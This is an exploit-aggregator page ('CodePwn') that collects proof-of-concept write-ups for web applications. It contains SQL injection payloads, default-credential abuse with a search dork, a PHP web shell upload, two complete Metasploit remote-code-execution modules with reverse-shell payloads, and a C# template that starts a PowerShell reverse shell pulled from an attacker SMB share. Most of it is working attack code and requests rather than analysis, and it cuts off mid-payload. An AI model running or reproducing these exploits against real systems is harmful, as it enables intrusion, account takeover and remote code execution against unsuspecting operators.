Latest exploits :: CodePwn

<pre><code># Auto Dealer Management System - Broken Access Control leads to compromise of all application accounts by accessing the ?page=user/list with low privileged user account ### Date: > 18 February 2023 ### Author Email: > navaidnasari@hotmail.co.uk ### Vendor Homepage: > https://www.sourcecodester.com ### Software Link: > [Auto Dealer Management System](https://www.sourcecodester.com/php/15371/auto-dealer-management-system-phpoop-free-source-code.html) ### Version: > v 1.0 ### Broken Authentication: > Broken Access Control is a type of security vulnerability that occurs when a web application fails to properly restrict users' access to certain resources and functionality. Access control is the process of ensuring that users are authorized to access only the resources and functionality that they are supposed to. Broken Access Control can occur due to poor implementation of access controls in the application, failure to validate input, or insufficient testing and review. ### Affected Page: > list.php , manage_user.php > On these page, application isn't verifying the authorization mechanism. Due to that, all the parameters are vulnerable to broken access control and low privilege user could view the list of user's and change any user password to access it. ### Description: > Broken access control allows low privilege attacker to change password of all application users ### Proof of Concept: > Following steps are involved: 1. Visit the vulnerable page: ?page=user/list 2. Click on Action and Edit the password of Admin ![image](https://user-images.githubusercontent.com/123810418/219884701-0f1feb4f-6c8a-4299-b510-1762461910ee.png) 4. Update the Password and Submit 5. Request: ``` POST /adms/classes/Users.php?f=save HTTP/1.1 Host: localhost Content-Length: 877 sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99" Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfODLB5j55MvB5pGU X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/adms/admin/?page=user/manage_user&id=1 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c1ig2qf0q44toal7cqbqvikli5 Connection: close ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="id" 1 ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="firstname" Adminstrator ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="middlename" ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="lastname" Admin ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="username" admin ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="password" admin123 ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="type" 1 ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryfODLB5j55MvB5pGU-- ``` 6. Successful exploit screenshots are below (without cookie parameter) ![image](https://user-images.githubusercontent.com/123810418/219884923-5283fca6-d509-4c48-9db0-f61ea6dbb352.png) 7. Vulnerable Code Snippets: ![image](https://user-images.githubusercontent.com/123810418/219884994-e74d7d48-4d45-4135-9a38-45e26c65434b.png) ![image](https://user-images.githubusercontent.com/123810418/219885023-a76afbe0-88f0-4aaa-89cd-1e541e511427.png) ### Recommendation: > Whoever uses this CMS, should update the authorization mechanism on top of the list.php , manage_user.php pages as per requirement to avoid a Broken Access Control attack Thank you for reading for more demo visit my github: https://github.com/navaidzansari/CVE_Demo </code></pre>

<pre><code>==================================================================================================================================== | # Title : kshitish v2.0 Multipurpose eCommerce Platform Insecure Settings Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(64-bit) | | # Vendor : https://www.yahoobaba.net/ | | # Dork : "Created by YahooBaba" | ==================================================================================================================================== poc : [+] The vulnerability is about leaving the default settings During the installation of the script and using the default username and password [+] Dorking İn Google Or Other Search Enggine. [+] Use Payload : user=admin & pass=admin [+] http://127.0.0.1-stor.com/admin/ Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet | | ======================================================================================================================================= </code></pre>

<pre><code># Product Name: Device Manager Express # Vendor Homepage: https://www.audiocodes.com # Software Link: https://www.audiocodes.com/solutions-products/products/management-products-solutions/device-manager # Version: <= 7.8.20002.47752 # Tested on: Windows 10 / Server 2019 # Default credentials: admin/admin # CVE-2022-24627, CVE-2022-24628, CVE-2022-24629, CVE-2022-24630, CVE-2022-24631, CVE-2022-24632 # Exploit: https://github.com/00xEF/Audiocodes-Device-Manager-Express AudioCodes' Device Manager Express features a user interface that enables enterprise network administrators to set up, configure and update up to 500 400HD Series IP phones in globally distributed corporations. ---------------- CVE-2022-24627: An unauthenticated SQL injection exists in the p parameter of the login form. ---------------- POST /admin/AudioCodes_files/process_login.php HTTP/1.1 Host: 10.11.12.13 ".." omitted User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Content-Type: application/x-www-form-urlencoded username=admin&password=&domain=&p=%5C%27or+1%3D1%23 ---------------- CVE-2022-24628: An authenticated SQL injection exists in the id parameter of IPPhoneFirmwareEdit.php ---------------- /admin/AudioCodes_files/IPPhoneFirmwareEdit.php?action=download&id=-1338'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20- ---------------- CVE-2022-24629: A remote code execution vulnerability exists via path traversal in the dir parameter of the file upload functionality . ---------------- POST /admin/AudioCodes_files/BrowseFiles.php?type= HTTP/1.1 Host: 10.11.12.13 ".." omitted User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) -----------------------------119140522224988540294045582807 Content-Disposition: form-data; name="dir" C:/audiocodes/express/WebAdmin/admin/AudioCodes_files/ajax/ -----------------------------119140522224988540294045582807 Content-Disposition: form-data; name="type" -----------------------------119140522224988540294045582807 Content-Disposition: form-data; name="myfile"; filename="ajaxJabra.php" Content-Type: application/x-php <?php echo shell_exec($_GET['x']); ?> -----------------------------119140522224988540294045582807 Content-Disposition: form-data; name="Submit" Upload -----------------------------119140522224988540294045582807-- ---------------- CVE-2022-24630: A remote command execution exists in an undocumented eval function in BrowseFiles.php ---------------- POST /admin/AudioCodes_files/BrowseFiles.php?cmd=ssh HTTP/1.1 Host: 10.11.12.13 ".." omitted User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) ssh_command=dir+C: ---------------- CVE-2022-24631: A Persistent Cross-Site Scripting exists in the desc parameter in ajaxTenants.php ---------------- POST /admin/AudioCodes_files/ajax/ajaxTenants.php HTTP/1.1 Host: 10.11.12.13 ".." omitted User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) action=save&id=1&name=Default&desc=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(1)%3E&subnet=&isdefault=true ---------------- CVE-2022-24632: A path traversal vulnerability exists in the view parameter of the file download functionality in BrowseFiles.php ---------------- /admin/AudioCodes_files/BrowseFiles.php?view=C:/windows/win.ini </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Froxlor Log Path RCE', 'Description' => %q{ Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path to any directory on the OS level which the user www-data can write without restrictions from the backend which leads to writing a malicious Twig template that the application will render. That will lead to achieving a remote command execution under the user www-data. }, 'Author' => [ 'Askar', # discovery 'jheysel-r7' # module ], 'References' => [ [ 'URL', 'https://shells.systems/author/askar/'], [ 'CVE', '2023-0315'] ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Linux ', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'CmdStagerFlavor' => ['wget'], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] }, 'DisclosureDate' => '2023-01-29' ) ) register_options( [ OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']), OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']), OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']), OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html']) ] ) end def login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'keep_cookies' => true, 'vars_post' => { 'loginname' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'send' => 'send', 'dologin' => '' } ) if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php') send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/admin_index.php'), 'keep_cookies' => true ) print_good('Successful login') true else false end end def check begin @authenticated = login rescue InvalidRequest, InvalidResponse => e return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}") end version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor' res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, version_url), 'keep_cookies' => true ) if res.nil? || res.code != 200 Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}") else version = res.get_html_document.at('body/span/text()') if version if Rex::Version.new('2.0.6') >= Rex::Version.new(version) Exploit::CheckCode::Appears("Vulnerable version found: #{version}") end else Exploit::CheckCode::Detected("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}") end end end def get_csrf_token(url) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, url), 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless (!res.nil? || res.code == 200) csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token print_good("CSRF token is : #{csrf_token}") csrf_token end def change_log_path(new_logfile) mime = Rex::MIME::Message.new mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"') mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"') mime.add_part('2', nil, nil, 'form-data; name="logger_severity"') mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"') mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"') mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"') mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"') mime.add_part('overview', nil, nil, 'form-data; name="page"') mime.add_part('', nil, nil, 'form-data; name="action"') mime.add_part('send', nil, nil, 'form-data; name="send"') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'), 'vars_get' => { 'page' => 'overview', 'part' => 'logging' }, 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) if res && res.code == 200 && res.body.include?('The settings have been successfully saved') return true end false end def execute_command(cmd, _opts = {}) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin_index.php'), 'keep_cookies' => true, 'vars_post' => { 'theme' => "{{['#{cmd}']|filter('exec')}}", 'csrf_token' => @csrf_token, 'page' => 'change_theme', 'send' => 'send', 'dosave' => '' } ) if res && res.code == 302 && res.headers['Location'] if res.headers['Location'] == 'admin_index.php' print_good('Injected payload successfully') print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log") change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log") end else print_error('did not inject payload successfully') end end def exploit fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login @csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging') if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig") print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig") case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager else print_error('Please enter valid target') end else fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable') end end def on_new_session(session) super # Original footer.html.twig file footer_html_twig = <<~EOF <footer class="text-center mb-3"> <img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/> {% if install_mode is not defined %} {% if (get_setting('admin.show_version_login') == '1' and area == 'login') or (area != 'login' and get_setting('admin.show_version_footer') == '1') %} {{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }} {% endif %} {% endif %} &copy; 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a> {% if install_mode is not defined %} {% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %} {% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %} {% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %} {% endif %} {% if lng('translator') %} {{ lng('panel.translator') }}: {{ lng('translator') }} {% endif %} </footer> EOF if session.type == 'meterpreter' print_status('Deleting tampered footer.html.twig file') filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig" session.fs.file.rm(filename) fd = session.fs.file.new(filename, 'wb') print_status('Rewriting clean footer.html.twig file') fd.write(footer_html_twig) fd.close else print_status('Cleaning tampered footer.html.twig file') # Remove all log lines added to footer.html.twig by the exploit # (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...) session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp") session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig") session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp") end end end </code></pre>

<pre><code># Exploit Title: Authenticated POST based SQL Injection when delete user on Yoga Class Registration System # Google Dork: NA # Date: 23/2/2023 # Exploit Author: Ahmed Ismail (@MrOz1l) # Vendor Homepage: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html # Software Link: [download link if available] # Version: 1.0 # CVE: [CVE-2023-0982] # Tested on: Windows 11 # Payload GET /php-ycrs/admin/registrations/update_status.php?id=2'+AND+(SELECT+7828+FROM+(SELECT(SLEEP(3)))Mvkn)--+yLjU HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://localhost/php-ycrs/admin/?page=registrations/view_registration&id=2 Cookie: PHPSESSID=tcc4d9ffr86hm2dqlfmos7amhg Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin ##Payload '+AND+(SELECT+7828+FROM+(SELECT(SLEEP(3)))Mvkn)--+yLjU the back-end DBMS is MySQL web application technology: PHP 8.0.25, Apache 2.4.54 back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) # Exploit Title: Authenticated POST based SQL Injection when delete user on Yoga Class Registration System # Google Dork: NA # Date: 23/2/2023 # Exploit Author: Ahmed Ismail (@MrOz1l) # Vendor Homepage: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html # Software Link: [download link if available] # Version: 1.0 # CVE: ( CVE-2023-0981 ) # Tested on: Windows 11 ``` POST /php-ycrs/classes/Master.php?f=delete_class HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 6 Origin: http://localhost Connection: close Referer: http://localhost/php-ycrs/admin/?page=classes Cookie: PHPSESSID=tcc4d9ffr86hm2dqlfmos7amhg Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin id=96' ``` # Payload Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: id=96' AND 2307=(SELECT (CASE WHEN (2307=2307) THEN 2307 ELSE (SELECT 8487 UNION SELECT 3172) END))-- - Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=96' AND (SELECT 4409 FROM(SELECT COUNT(*),CONCAT(0x7162707671,(SELECT (ELT(4409=4409,1))),0x71716b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NiQL Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=96' AND (SELECT 9070 FROM (SELECT(SLEEP(5)))jayu)-- wkzQ # Exploit Title: Authenticated POST based SQL Injection when add class on Yoga Class Registration System # Google Dork: NA # Date: 23/2/2023 # Exploit Author: Ahmed Ismail (@MrOz1l) # Vendor Homepage: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html # Software Link: [download link if available] # Version: 1.0 # CVE: ( CVE-2023-0982 ) # Tested on: Windows 11 ##Payload POST /php-ycrs/classes/Master.php?f=save_registration HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------408548517113152447833471217322 Content-Length: 286 Origin: http://localhost Connection: close Referer: http://localhost/php-ycrs/admin/?page=registrations/view_registration&id=2 Cookie: PHPSESSID=tcc4d9ffr86hm2dqlfmos7amhg Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------408548517113152447833471217322 Content-Disposition: form-data; name="id" 2' -----------------------------408548517113152447833471217322 Content-Disposition: form-data; name="status" 1 -----------------------------408548517113152447833471217322-- ##Payload '+AND+(SELECT+7828+FROM+(SELECT(SLEEP(3)))Mvkn)--+yLjU the back-end DBMS is MySQL web application technology: PHP 8.0.25, Apache 2.4.54 back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/stopwatch' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'pyLoad js2py Python Execution', 'Description' => %q{ pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services, the primary of which is on port 8000 and can not be used by external hosts. A secondary "Click 'N' Load" service runs on port 9666 and can be used remotely without authentication. }, 'Author' => [ 'Spencer McIntyre', # metasploit module 'bAu' # vulnerability discovery ], 'References' => [ [ 'CVE', '2023-0297' ], [ 'URL', 'https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/' ], [ 'URL', 'https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad' ], [ 'URL', 'https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d' ] # fix commit ], 'DisclosureDate' => '2023-01-13', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux', 'python'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_PYTHON], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper } ], [ 'Python', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Type' => :python_exec } ], ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(9666), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check sleep_time = rand(5..10) _, elapsed_time = Rex::Stopwatch.elapsed_time do execute_python("import time; time.sleep(#{sleep_time})") end vprint_status("Elapsed time: #{elapsed_time} seconds") unless elapsed_time > sleep_time return CheckCode::Safe('Failed to test command injection.') end CheckCode::Appears('Successfully tested command injection.') rescue Msf::Exploit::Failed return CheckCode::Safe('Failed to test command injection.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd if execute_command(payload.encoded) print_good("Successfully executed command: #{payload.encoded}") end when :python_exec execute_javascript("pyimport builtins;pyimport base64;builtins.exec(base64.b64decode(\"#{Base64.strict_encode64(payload.encoded)}\"));") when :linux_dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") # use the js2py pyimport command to import the os module to execute a command, use base64 to avoid character issues # using popen instead of system ensures that the request is not blocked javascript = "pyimport os;pyimport sys;pyimport base64;_=base64.b64decode(\"#{Base64.strict_encode64(cmd)}\");os.popen(sys.version_info[0] < 3?_:_.decode('utf-8'));" execute_javascript(javascript) end def execute_python(python) # use the js2py pyimport command to import the builtins module to access exec, use base64 to avoid character issues javascript = "pyimport builtins;pyimport base64;builtins.exec(base64.b64decode(\"#{Base64.strict_encode64(python)}\"));" execute_javascript(javascript) end def execute_javascript(javascript) # https://github.com/pyload/pyload/blob/7d73ba7919e594d783b3411d7ddb87885aea782d/src/pyload/core/threads/clicknload_thread.py#L153 res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'), 'vars_post' => { 'crypted' => '', 'jk' => "#{javascript}f=function f2(){};" } ) # the command will either cause the response to timeout or return a 500 return if res.nil? return if res.code == 500 && res.body =~ /Could not decrypt key/ fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}") end end </code></pre>

<pre><code>Remote Code Execution in Kardex MLOG ======================================================================= Product: Kardex Mlog MCC Vendor: Kardex Holding AG Tested Version: 5.7.12+0-a203c2a213-master Fixed Version: inline patch - no new version number Vulnerability Type: Improper Control of Generation of Code ("RFI") - CWE-94 CVSSv2 Severity: AV:A/AC:L/Au:N/C:C/I:C/A:C - Score 8.3 CVSSv3 Severity: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Score 9.6 Solution Status: fixed Manufacturer Notification: 2022-12-13 Solution Date: 2023-01-24 Public Disclosure: 2023-02-07 CVE Reference: CVE-2023-22855 Authors of Advisory: Patrick Hener & Nico Viakowski ======================================================================= Vendor description[1] --------------------- Kardex Mlog’s modular software solution Kardex Control Center manages material flow and warehouse management processes faster and more efficiently. From manual block warehouse and interface networking with intelligent partner systems to an automated intralogistics system connected to production lines and driverless vehicles, intelligent energy management for the automated stacker cranes and modern system visualization, the Kardex Control Center modules offer flexible solutions for your warehouse management. Vulnerability Details --------------------- The .NET based software spawns a web interface listening on port 8088. This interface is meant to control and monitor the material flow. The user controllable path is handed to a path concatenation function (`Path.Combine`) without proper sanitization. This yields the possibility to include local files, as well as remote files (SMB). The path is used in a function called `getFile`. The following code snippet shows the vulnerable part of this function: ```cs public MccHttpServerResult GetFile(string path, string acceptEncoding, string queryString = null) { MccHttpServerResult result4; [... snip ...] else { string getfileName = (path == "/") ? "index.html" : path.Substring(1).Replace("/", Path.DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture)); string fileName = Path.Combine(this.RootDirectory(), getfileName); string originalFileName = fileName; ``` The .Net function `Path.Combine` also is able to concatenate remote targets. For example using `\\ipaddress` you can include files from a remote samba server. Further down the request flow, the application is checking for the MIME type of the file retrieved. Depending on the MIME type the content is either sent through a import/export procedure or rendered as `mono/t4` template. The function `getMimeType` will return `t4` if the included file is ending with an extension of `.t4`. This is where the File Inclusion can be escalated to a Remote Code Execution. The `mono/t4` templating engine allows the use of `C#` to evaluate code. This enables an attacker to gain code execution and eventually spawn a reverse shell. ```cs bool flag15 = File.Exists(fileName); if (flag15) { using (FileStream f = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { byte[] bytes = new byte[f.Length]; f.Read(bytes, 0, bytes.Length); bool flag16 = mime2 == "t4"; if (flag16) { return this.runTemplatingEngine(bytes, responseHeaders, queryString); } ``` Proof of Concept (PoC) ---------------------- The following request will include a remote file from an smb share. For this to work the attacker has to spawn an smb server (for example using `smbserver.py` from Impacket[2]). ``` GET /\\attacker-ip/share/exploit.t4 HTTP/1.1 Host: vulnerable.host.internal:8088 Content-Type: text/html User-Agent: curl/7.86.0 Accept: */* Connection: close ``` The `exploit.t4` looks like this: ```html <#@ template language="C#" #> <#@ Import Namespace="System" #> <#@ Import Namespace="System.Diagnostics" #> Proof of Concept - SSTI to RCE RCE running ... <# var proc1 = new ProcessStartInfo(); string anyCommand; anyCommand = "powershell -e revshell-base64-blob"; proc1.UseShellExecute = true; proc1.WorkingDirectory = @"C:\Windows\System32"; proc1.FileName = @"C:\Windows\System32\cmd.exe"; proc1.Verb = "runas"; proc1.Arguments = "/c "+anyCommand; Process.Start(proc1); #> Enjoy your shell, good sir :D ``` The exploit above will execute `cmd.exe` and launch a `powershell` to execute a reverse shell. You can easily generate a reverse shell blob using revshells.com[3]. A full exploit spawning a reverse shell was created[4]. Solution -------- The user supplied data should be sanitized before using it in the `Path.Combine` function. Disclosure Timeline ------------------- 2022-12-13: Vulnerability discovered 2022-12-13: Vulnerability reported to manufacturer 2023-01-24: Solution provided by manufacturer 2023-02-07: Public disclosure of vulnerability References ---------- [1] Vendor Website:https://www.kardex.com/en/mlog-control-center [2] Impacket Git Repository:https://github.com/SecureAuthCorp/impacket [3] Reverse Shell Generator:https://www.revshells.com/ [4] Exploit on Exploit-DB (tbd):https://www.exploit-db.com/exploits/xxxxx [5] Blog Post Advisory:https://hesec.de/posts/cve-2023-22855 [6] Personal Github Repo for Advisory:https://github.com/patrickhener/CVE-2023-22855 [7] Blog Post Thinking Objects:https://to.com/blog/advisory-kardex-mlog-CVE-2023-22855 Credits ------- This security vulnerability was found by Patrick Hener and Nico Viakowski. E-Mail:patrickhener@posteo.de E-Mail:n.viakowski@pm.me Disclaimer ---------- The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. Copyright --------- Creative Commons - Attribution (by) - Version 3.0 URL:http://creativecommons.org/licenses/by/3.0/deed.en </code></pre>

<pre><code># Exploit Title: SQL Injection on Best pos Management System # Google Dork: NA # Date: 14/2/2023 # Exploit Author: Ahmed Ismail (@MrOz1l) # Vendor Homepage: https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip # Version: 1.0 # Tested on: Windows 11 # CVE : NA ``` GET /kruxton/billing/index.php?id=9 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://localhost/kruxton/index.php?page=orders Cookie: PHPSESSID=61ubuj4m01jk5tibc7banpldao Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 ``` # Payload GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 58 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=9 AND 4017=4017 Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=9 OR (SELECT 7313 FROM(SELECT COUNT(*),CONCAT(0x7162767171,(SELECT (ELT(7313=7313,1))),0x7178707671,FLOOR(RAND(0)*2))x FROM 